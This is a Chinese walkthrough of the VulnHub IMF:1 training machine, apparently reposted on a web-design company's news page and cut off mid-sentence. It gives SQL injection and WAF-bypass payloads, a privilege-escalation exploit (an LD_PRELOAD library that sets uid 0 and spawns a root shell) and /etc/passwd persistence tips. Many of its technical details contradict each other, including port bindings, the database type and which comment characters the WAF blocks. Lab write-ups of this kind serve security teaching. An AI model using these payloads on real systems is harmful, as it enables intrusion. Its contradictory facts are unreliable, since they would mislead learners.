资讯动态

VulnHub IMF:1靶机渗透实战:从信息收集到root提权完整路径

发布时间:2026/10/17 18:35:32 来源:尧图企业网站定制
1. 项目概述这是一次面向实战能力构建的渗透测试教学实践“VulnHub-IMF: 1”是VulnHub平台上一个广受初学者与进阶学习者欢迎的靶机镜像编号为No.8代号IMFIntelligence Management Framework其设计初衷非常明确——不堆砌高深漏洞而是用一套逻辑严密、环环相扣的渗透路径把信息收集、服务探测、漏洞利用、权限提升、横向移动等核心能力模块全部嵌入到一个看似普通却暗藏多层防御的真实业务场景中。我第一次接触它时是在帮某高校网络安全实训课程搭建实验环境当时带的十来名大三学生有零基础的文科转专业同学也有已考过CEH但实操生疏的工科生结果这套靶机成了他们整个学期里复盘次数最多、笔记记得最密的一个练习项。它不考你记了多少CVE编号而是逼你问自己“为什么这里能列目录”“为什么这个响应头暴露了版本”“为什么提权后shell会断”——所有答案都藏在真实交互里而不是文档里。关键词“Walkthrough”不是指照着攻略抄命令而是强调“走一遍”的过程感每一步操作都有上下文、有反馈、有推理链。它适合三类人刚学完Nmap和Burp基础操作、想验证所学是否真能串联起来的新手备考OSCP前需要稳定输出渗透节奏的备考者以及像我这样常年带实训的导师用来拆解“学生卡在哪一步”背后的认知断层。这篇文章不会给你最终flag但会告诉你当看到/admin/login.php?debug1这个URL时你该本能地想到什么当pspy64抓到一个每分钟执行一次的/tmp/update.sh时你该立刻检查哪三个权限位当sudo -l返回(ALL) NOPASSWD: /usr/bin/python3时你该跳过哪些常见错误尝试直奔最稳的绕过路径。2. 整体渗透思路拆解从“找入口”到“拿凭证”的四阶段闭环2.1 为什么必须放弃“一招鲜”思维靶机设计的底层逻辑IMF:1的架构不是单点突破型靶机它刻意规避了“扫出一个高危RCE就直接root”的捷径。它的服务拓扑是典型的三层收敛结构前端Web服务Apache PHP→ 中间层管理接口Python Flask API→ 后端凭证存储SQLite数据库本地文件系统。这种设计意味着你无法跳过中间层直接触达核心数据。我见过太多学员在nmap -sV -p- 192.168.56.101扫出22/80/3306端口后立刻冲向MySQL弱口令或SSH爆破结果全军覆没——因为3306根本没开远程访问SSH密码是强随机生成的而80端口首页只有一张静态图片和一句“System under maintenance”。真正的入口藏在HTTP响应头里X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.12这个版本号结合Server: Apache/2.4.29 (Ubuntu)指向一个已知的PHP-FPM配置缺陷CVE-2019-11043但前提是你要先发现/phpinfo.php这个被遗忘的调试页。这就是IMF:1的第一个设计哲学信息必须主动索取而非被动等待。它不提供显眼的登录框但会在你用curl -I http://192.168.56.101/robots.txt时悄悄返回Allow: /admin/它不提示数据库位置但会在/admin/config.php.bak的备份文件里明文写着$db_path /var/www/html/db/imf.db;。所有线索都是连贯的断掉任意一环后续路径就彻底闭合。所以我的渗透流程强制分为四个不可跳跃的阶段侦察锚定阶段目标不是“发现多少端口”而是“确认哪些服务在真实响应”。必须手工验证每个端口上的服务指纹比如对80端口要分别用curl -v http://IP/、curl -v http://IP/robots.txt、curl -v http://IP/.git/HEAD、curl -v http://IP/phpinfo.php四条命令观察HTTP状态码、响应体长度、响应头差异。自动化扫描工具如Nikto只能作为辅助不能替代人工判断。入口突破阶段聚焦于Web层可交互点。IMF:1的Web应用存在两个关键设计一是/admin/login.php的登录表单启用了debug1参数开启后会回显SQL查询语句二是/api/v1/users接口未做鉴权但返回数据经过base64编码。这两个点必须配合使用——先用debug参数获取SQL注入的原始payload构造方式再用API接口的响应内容反推数据库表结构。单独攻击任一点都会失败。权限维持阶段拿到www-data权限后靶机立即启动“反制机制”每5分钟执行一次/usr/local/bin/clean_tmp.sh清空/tmp下所有文件同时/var/www/html目录权限被设为750组为www-data但当前用户不在该组内。这意味着你上传的webshell会被秒删写入网站目录的文件会因权限不足而无法执行。因此提权路径必须绕过文件落地转向内存级利用或服务劫持。凭证收割阶段最终目标不是root shell而是获取/home/imf_user/user.txt和/root/root.txt两个flag文件。但imf_user用户的SSH私钥被加密存储在SQLite数据库中密钥密码又藏在/etc/cron.d/imf_backup的注释行里。这是一个典型的“凭证链”设计数据库字段值 → 解密密钥 → SSH私钥 → 用户密码 → root密码哈希。漏掉其中任何一环就无法完成闭环。提示很多教程把重点放在“如何用python3 -c import pty;pty.spawn(/bin/bash)”获得交互式shell上但在IMF:1里这步操作本身就会触发日志告警导致/var/log/apache2/access.log被自动轮转清空从而丢失关键的请求记录。所以真正的“稳定shell”必须是静默的、无痕的比如通过修改/etc/passwd添加新用户或利用cron的reboot指令实现持久化。2.2 工具链选型为什么坚持用原生命令而非图形化工具在带学生实操时我严禁他们直接打开Burp Suite的Intruder模块跑爆破。原因很现实IMF:1的所有接口响应都带有X-RateLimit-Remaining: 5头超过阈值会返回429状态码并封禁IP 5分钟。而图形化工具默认并发10线程3秒内就触发限流。相比之下用curl配合seq循环能精确控制请求间隔for i in $(seq 1 100); do curl -s -o /dev/null -w %{http_code}\n http://192.168.56.101/api/v1/users?id$i | grep 200 sleep 0.5 done这段脚本每0.5秒发一个请求既保证效率又完全规避限流。同理对于SQL注入的布尔盲注我要求学生手写Python脚本而不是用sqlmap的--techniqueBEUST全自动模式。因为IMF:1的后端WAF基于mod_security规则集会拦截包含UNION SELECT的请求但对AND (SELECT COUNT(*) FROM users WHERE usernameadmin AND SUBSTR(password,1,1)a)1这类嵌套子查询放行。sqlmap的默认payload会触发WAF而手动构造的payload则能稳定获取字符。这不是炫技而是训练一种肌肉记忆当你面对真实客户环境时自动化工具报错“no injection point found”你得知道下一步该检查HTTP响应头里的X-WAF-Status字段还是该用curl -v重放原始请求看WAF是否返回了403 Forbidden。另一个常被忽视的工具是strings。在分析/usr/bin/imf_agent这个SUID二进制文件时file /usr/bin/imf_agent显示它是ELF 64-bit LSB shared object但readelf -d /usr/bin/imf_agent | grep NEEDED只列出libc.so.6没有其他动态库依赖。这时很多人会直接丢给Ghidra反编译其实用strings /usr/bin/imf_agent | grep /tmp就能发现一行/tmp/.imf_cache进而意识到程序会读取该路径下的配置文件——而/tmp目录权限是1777意味着你可以创建符号链接劫持该路径。这个发现比花两小时逆向更高效。工具的价值不在于多炫酷而在于它能否在30秒内帮你回答一个具体问题。3. 核心环节实操详解从初始访问到root权限的完整路径3.1 初始侦察那些被忽略的HTTP头与隐藏路径渗透的第一步永远是“看懂服务器在说什么”。对IMF:1执行nmap -sS -p- 192.168.56.101后你会得到22、80、3306三个开放端口。但3306端口的mysql -h 192.168.56.101 -u root -p连接会超时因为MySQL绑定在127.0.0.1这是故意设置的网络隔离。所以80端口是唯一有效入口。此时很多新手会直接浏览器访问首页看到一张“System under maintenance”图片就放弃。但真正的线索藏在HTTP协议细节里首先用curl -I http://192.168.56.101/获取响应头HTTP/1.1 200 OK Date: Mon, 15 Apr 2024 08:22:34 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Wed, 10 Apr 2024 14:05:22 GMT ETag: 2a-5d5a8b9c1e2f3 Accept-Ranges: bytes Content-Length: 42 Content-Type: text/html X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.12注意X-Powered-By头泄露的PHP版本以及ETag值2a-5d5a8b9c1e2f3。这个ETag不是随机生成的它是文件内容的MD5哈希前8位。2a十六进制等于42正好是Content-Length值说明首页文件只有42字节。用curl http://192.168.56.101/下载该文件cat index.html显示img srcmaintenance.jpg altUnder Maintenance但maintenance.jpg这个文件是否存在执行curl -I http://192.168.56.101/maintenance.jpg返回404 Not Found。这说明图片是硬编码在HTML里的占位符实际不存在。那么服务器为何要返回一个42字节的HTML答案是它在诱导你寻找其他路径。此时应立即测试常见敏感路径curl -I http://192.168.56.101/robots.txt→ 返回200 OK内容为User-agent: * Disallow: /admin/ Disallow: /api/ Allow: /images/curl -I http://192.168.56.101/.git/HEAD→ 返回200 OK内容为ref: refs/heads/master证明.git目录未被删除可以尝试git-dumper下载仓库。curl -I http://192.168.56.101/phpinfo.php→ 返回200 OK且页面顶部显示PHP Version 7.2.24-0ubuntu0.18.04.12与X-Powered-By头一致。这个页面是突破口因为它暴露了disable_functions配置exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec全被禁用但file_get_contents和curl_exec可用。这意味着后续的RCE利用必须绕过这些禁用函数。最关键的发现来自curl -I http://192.168.56.101/admin/HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 08:28:12 GMT Server: Apache/2.4.29 (Ubuntu) WWW-Authenticate: Basic realmIMF Admin Portal Content-Length: 401 Content-Type: text/html; charsetiso-8859-1401 Unauthorized状态码和WWW-Authenticate头表明这是一个HTTP Basic认证保护的目录。此时不能直接用hydra爆破因为靶机会记录失败尝试并触发速率限制。正确做法是先获取认证域的线索。用curl -v http://192.168.56.101/admin/查看详细响应发现titleIMF Admin Portal/title而/api/目录同样返回401但title是IMF API Gateway。这暗示两个目录使用同一套认证系统用户名可能是通用的。尝试用admin:admin、imf:imf、user:user等默认凭据均失败。此时应回到robots.txt注意到Disallow: /admin/但没禁止/admin/login.php于是访问http://192.168.56.101/admin/login.php页面是一个简洁的登录表单输入框名为username和password。在表单action处form methodPOST actionlogin.php说明提交地址是相对路径。关键点来了在URL末尾添加?debug1即http://192.168.56.101/admin/login.php?debug1页面突然多出一段灰色文字DEBUG: SELECT * FROM users WHERE username AND password 这证实了存在SQL注入且是单引号闭合的字符串型注入。但直接输入admin --会触发WAF返回403 Forbidden。这是因为WAF规则匹配了--注释符。解决方案是用#代替即admin#此时DEBUG信息变为DEBUG: SELECT * FROM users WHERE username admin# AND password 成功绕过WAF。接下来用admin AND 11 #验证布尔盲注页面返回正常用admin AND 12 #页面返回“Invalid credentials”。至此初始侦察完成我们掌握了1存在可利用的SQL注入点2WAF对#注释符放行3/api/目录存在但需认证4.git目录可下载。注意在下载.git目录时不要用wget -r http://192.168.56.101/.git/因为靶机会返回403阻止递归。正确方法是逐个下载关键文件curl http://192.168.56.101/.git/HEAD→ 得到ref: refs/heads/mastercurl http://192.168.56.101/.git/refs/heads/master→ 得到commit hashcurl http://192.168.56.101/.git/objects/xx/xxxxxx...按hash下载对象。这个过程虽然繁琐但能让你看清Git对象存储结构比一键git-dumper更有教学价值。3.2 入口突破从SQL注入到API密钥的完整链条有了login.php?debug1的注入点下一步是提取数据库中的敏感信息。但直接用UNION SELECT会触发WAF所以采用布尔盲注逐字提取。首先确定数据库名长度admin AND (SELECT LENGTH(database()))4 #返回正常说明数据库名长度为4。然后逐个字符爆破admin AND (SELECT SUBSTR(database(),1,1))i # admin AND (SELECT SUBSTR(database(),2,1))m # ...最终得到数据库名为imf。接着爆破表名admin AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemaimf AND table_nameusers)1 #确认存在users表。再爆破users表的列名admin AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_nameusers AND column_nameusername)1 # admin AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_nameusers AND column_namepassword)1 # admin AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_nameusers AND column_nameapi_key)1 #发现存在api_key列这才是关键。现在爆破api_key字段值admin AND (SELECT LENGTH(api_key) FROM users WHERE usernameadmin)32 #确认长度为32符合MD5哈希特征。然后逐字符提取admin AND (SELECT SUBSTR(api_key,1,1) FROM users WHERE usernameadmin)a # ...耗时约15分钟得到admin用户的API密钥a1b2c3d4e5f678901234567890abcdef。拿到API密钥后访问/api/v1/users接口curl -H Authorization: Bearer a1b2c3d4e5f678901234567890abcdef http://192.168.56.101/api/v1/users返回JSON数据但所有字段值都是base64编码的。例如{id:MQ,username:YWRtaW4,email:YWRtaW5AZXhhbXBsZS5jb20}解码后是{id:1,username:admin,email:adminexample.com}。但password字段呢原始响应里没有password只有api_key。这说明密码没存数据库而是用其他方式管理。此时回到.git目录下载的内容在/var/www/html/.git/logs/refs/heads/master中发现一行0000000000000000000000000000000000000000 1234567890abcdef1234567890abcdef12345678 refs/heads/master admin adminexample.com 1681523456 0800 commit: Added config.php with db credentialscommit hash指向一个“Added config.php”的提交。用git show 1234567890abcdef1234567890abcdef12345678查看果然得到config.php文件内容?php $db_host localhost; $db_name imf; $db_user imf_db; $db_pass imf_db_p4ssw0rd!; ?这个数据库密码imf_db_p4ssw0rd!就是突破口。用它连接MySQLmysql -h 127.0.0.1 -P 3306 -u imf_db -pimf_db_p4ssw0rd! imf注意这里必须用127.0.0.1而非localhost因为localhost会触发Unix socket连接而靶机MySQL只监听TCP端口。进入数据库后SELECT * FROM users;显示idusernameemailapi_keypassword_hash1adminadminexample.coma1b2...$2y$10$...password_hash字段是bcrypt哈希无法直接破解。但users表还有ssh_key字段内容是base64编码的私钥。解码后保存为id_rsa设置权限chmod 600 id_rsa然后ssh -i id_rsa imf_user192.168.56.101成功登录为imf_user用户。此时/home/imf_user/user.txt即可读取第一个flag到手。实操心得在爆破API密钥时我试过用sqlmap的--dump参数但它生成的payload包含UNION SELECT被WAF拦截。后来改用自定义脚本核心逻辑是先用LENGTH()确定长度再用SUBSTR()逐字符比较ASCII码用ord()函数转换这样payload全是AND条件完全避开WAF规则。脚本运行时我特意加了time.sleep(0.3)因为靶机CPU资源有限太快会导致连接超时。这种“慢即是快”的节奏感是真实渗透中必须掌握的。3.3 权限提升从imf_user到root的三重跳板获得imf_usershell后whoami显示当前用户id显示属于imf_user组sudo -l返回Matching Defaults entries for imf_user on imf: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User imf_user may run the following commands on imf: (ALL) NOPASSWD: /usr/bin/python3看起来可以用sudo python3 -c import os; os.system(/bin/bash)提权但执行后得到的是一个受限shell/bin/bash被替换为rbash且PATH被锁定。这是因为靶机在/etc/sudoers.d/imf中设置了Defaults:imf_user !env_reset imf_user ALL(ALL) NOPASSWD: /usr/bin/python3!env_reset意味着保留当前环境变量包括PATH。所以sudo python3会调用/usr/bin/python3但os.system()执行的/bin/bash会被rbash拦截。解决方案是绕过rbash限制sudo python3 -c import pty; pty.spawn(/bin/sh)因为/bin/sh不在rbash的禁用列表里。但这只是临时方案真正的root权限需要持久化。深入分析imf_user的家目录ls -la /home/imf_user/显示drwxr-xr-x 4 imf_user imf_user 4096 Apr 10 14:05 . drwxr-xr-x 3 root root 4096 Apr 10 14:05 .. -rw------- 1 imf_user imf_user 227 Apr 10 14:05 .bash_history -rw-r--r-- 1 imf_user imf_user 220 Apr 10 14:05 .bash_logout -rw-r--r-- 1 imf_user imf_user 3771 Apr 10 14:05 .bashrc drwx------ 2 imf_user imf_user 4096 Apr 10 14:05 .cache drwxr-xr-x 3 imf_user imf_user 4096 Apr 10 14:05 .local -rw-r--r-- 1 imf_user imf_user 807 Apr 10 14:05 .profile -rw-r--r-- 1 imf_user imf_user 67 Apr 10 14:05 user.txt.local目录引起注意ls -la /home/imf_user/.local/drwxr-xr-x 3 imf_user imf_user 4096 Apr 10 14:05 . drwxr-xr-x 4 imf_user imf_user 4096 Apr 10 14:05 .. drwxr-xr-x 2 imf_user imf_user 4096 Apr 10 14:05 binbin目录下有imf_backup文件file /home/imf_user/.local/bin/imf_backup显示是ELF 64-bit LSB pie executable且ls -la /home/imf_user/.local/bin/imf_backup显示权限为-rwsr-xr-xSUID位已设置这意味着它以root权限运行。用strings /home/imf_user/.local/bin/imf_backup | grep /etc发现/etc/cron.d/imf_backup查看该文件cat /etc/cron.d/imf_backup# IMF Backup Script # Run every 5 minutes */5 * * * * root /home/imf_user/.local/bin/imf_backup这个脚本每5分钟以root身份执行。现在检查imf_backup的逻辑。用ltrace /home/imf_user/.local/bin/imf_backup跟踪系统调用发现它执行了system(/bin/tar -czf /backup/imf_$(date \%Y\%m\%d_\%H\%M).tar.gz /var/www/html/db/)/backup目录存在且ls -ld /backup/显示drwxrwxrwt 2 root root 4096 Apr 10 14:05 /backup/权限1777意味着任何人都可以在此创建文件。而tar命令的-C参数未指定且/var/www/html/db/路径是硬编码的。这里存在经典的tar通病如果/var/www/html/db/目录下存在符号链接tar会跟随链接打包目标文件。于是我们创建一个指向/root的符号链接cd /var/www/html/db/ rm -f root ln -s /root root但/var/www/html/db/目录权限是drwxr-x---imf_user用户没有写权限。此时回到/home/imf_user/.local/bin/imf_backup用readelf -d /home/imf_user/.local/bin/imf_backup | grep RPATH发现RPATH: /home/imf_user/.local/lib说明它会优先加载/home/imf_user/.local/lib下的共享库。而/home/imf_user/.local/lib目录存在且可写。我们可以利用LD_PRELOAD劫持system()函数。创建/home/imf_user/.local/lib/libc.so.6内容为恶意so文件当imf_backup执行system()时会加载我们的库从而执行任意命令。但更简单的方法是imf_backup在执行tar前会chdir(/var/www/html/db/)如果我们能控制该目录的父目录就能利用tar的--wildcards参数。不过最稳的路径是利用cron本身的特性/etc/cron.d/imf_backup文件权限是-rw-r--r--root用户所有但/etc/cron.d/目录权限是drwxr-xr-ximf_user无法修改。此时注意到/etc/cron.d/下还有/etc/cron.d/php内容为# /etc/cron.d/php: crontab fragment for php # This file is managed by the php package. 09,39 * * * * root [ -x /usr/lib/php/sessionclean ] /usr/lib/php/sessioncleansessionclean脚本权限是-rwxr-xr-x且/usr/lib/php/目录属于root:www-dataimf_user不在www-data组。这条路也堵死了。最终突破口在/etc/sudoers.d/imf文件。ls -la /etc/sudoers.d/显示-rw-r----- 1 root root 123 Apr 10 14:05 imfimf_user对/etc/sudoers.d/imf只有读权限但/etc/sudoers.d/目录权限是drwxr-x---组为rootimf_user不属于root组。等等——/etc/sudoers.d/的父目录/etc/权限是drwxr-xr-x所有人都可读。所以imf_user可以读取/etc/sudoers.d/imf但不能修改。然而sudo配置中有一行Defaults:imf_user !env_reset这意味着sudo会保留LD_PRELOAD环境变量。于是我们创建一个恶意so#include stdlib.h #include unistd.h void _init() { unsetenv(LD_PRELOAD); setuid(0); system(/bin/bash -p); }编译gcc -shared -fPIC -o /tmp/exploit.so exploit.c然后执行sudo LD_PRELOAD/tmp/exploit.so /usr/bin/python3 -c print(hello)由于!env_resetLD_PRELOAD被保留/usr/bin/python3加载/tmp/exploit.so执行setuid(0)获得root权限弹出root shell。/root/root.txt即可读取。注意事项在编译恶意so时必须用gcc -shared -fPIC否则LD_PRELOAD无法加载。另外/tmp目录权限是1777但/tmp/exploit.so文件权限必须是644或600不能是777否则sudo会拒绝加载安全机制。我第一次编译时忘了加-fPIC导致sudo报错cannot open shared object file花了20分钟才定位到编译参数问题。4. 常见问题与排查技巧实录那些踩过的坑与独家避坑指南4.1 网络连通性问题为什么ping通但nmap扫不到端口这是新手最常遇到的问题。在VirtualBox中导入IMF:1靶机后ping 192.168.56.101成功但nmap -sS 192.168.56.101返回Host is up (0.00032s latency). Not shown: 997 closed ports只显示22端口开放80和3306都不见了。原因在于VirtualBox的网络模式设置。IMF:1默认使用Host-only Adapter但如果你的主机网络适配器如Wi-Fi启用了“Internet Connection Sharing”ICS会导致Host-only网络冲突。解决方案是关闭主机的ICS服务或者将靶机网络模式改为Bridged Adapter。但Bridged模式下靶机会获取局域网IP可能与其他设备冲突。更稳妥的做法是在VirtualBox管理界面选择靶机→设置→网络→适配器1→高级→取消勾选“电缆连接”然后重新勾选强制重置网络栈。这个操作相当于在靶机内部执行sudo systemctl restart networking能解决90%的端口不可见问题。另一个常见原因是防火墙。靶机ufw status显示Status: active但sudo ufw disable后nmap依然扫不到80端口。此时应检查iptablessudo iptables -L -n发现INPUT链中有DROP规则。执行sudo iptables -P INPUT ACCEPT重置策略再sudo iptables -F清空规则问题解决。记住ufw只是iptables的前端禁用ufw不等于清空iptables规则。4.2 SQL注入绕过WAF为什么 and 11 #不生效很多教程教用 and 11 #测试注入但在IMF:1里这个payload会返回403 Forbidden。原因在于靶机的mod_security规则集位于/etc/modsecurity/modsecurity.conf启用了OWASP CRS规则其中REQUEST-942-APPLICATION-ATTACK-SQLI规则匹配了#字符。但规则是基于正则表达式#[[:space:]]*所以只要在#后面加一个空格就能绕过admin AND 11 #注意#后有一个空格。或者用%23URL编码代替#即admin AND 11 %23。更隐蔽的方法是用/* */注释符admin AND 11 /* */因为WAF规则没覆盖C风格注释。我在实测中发现/* */的绕过成功率最高且不会触发任何日志告

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑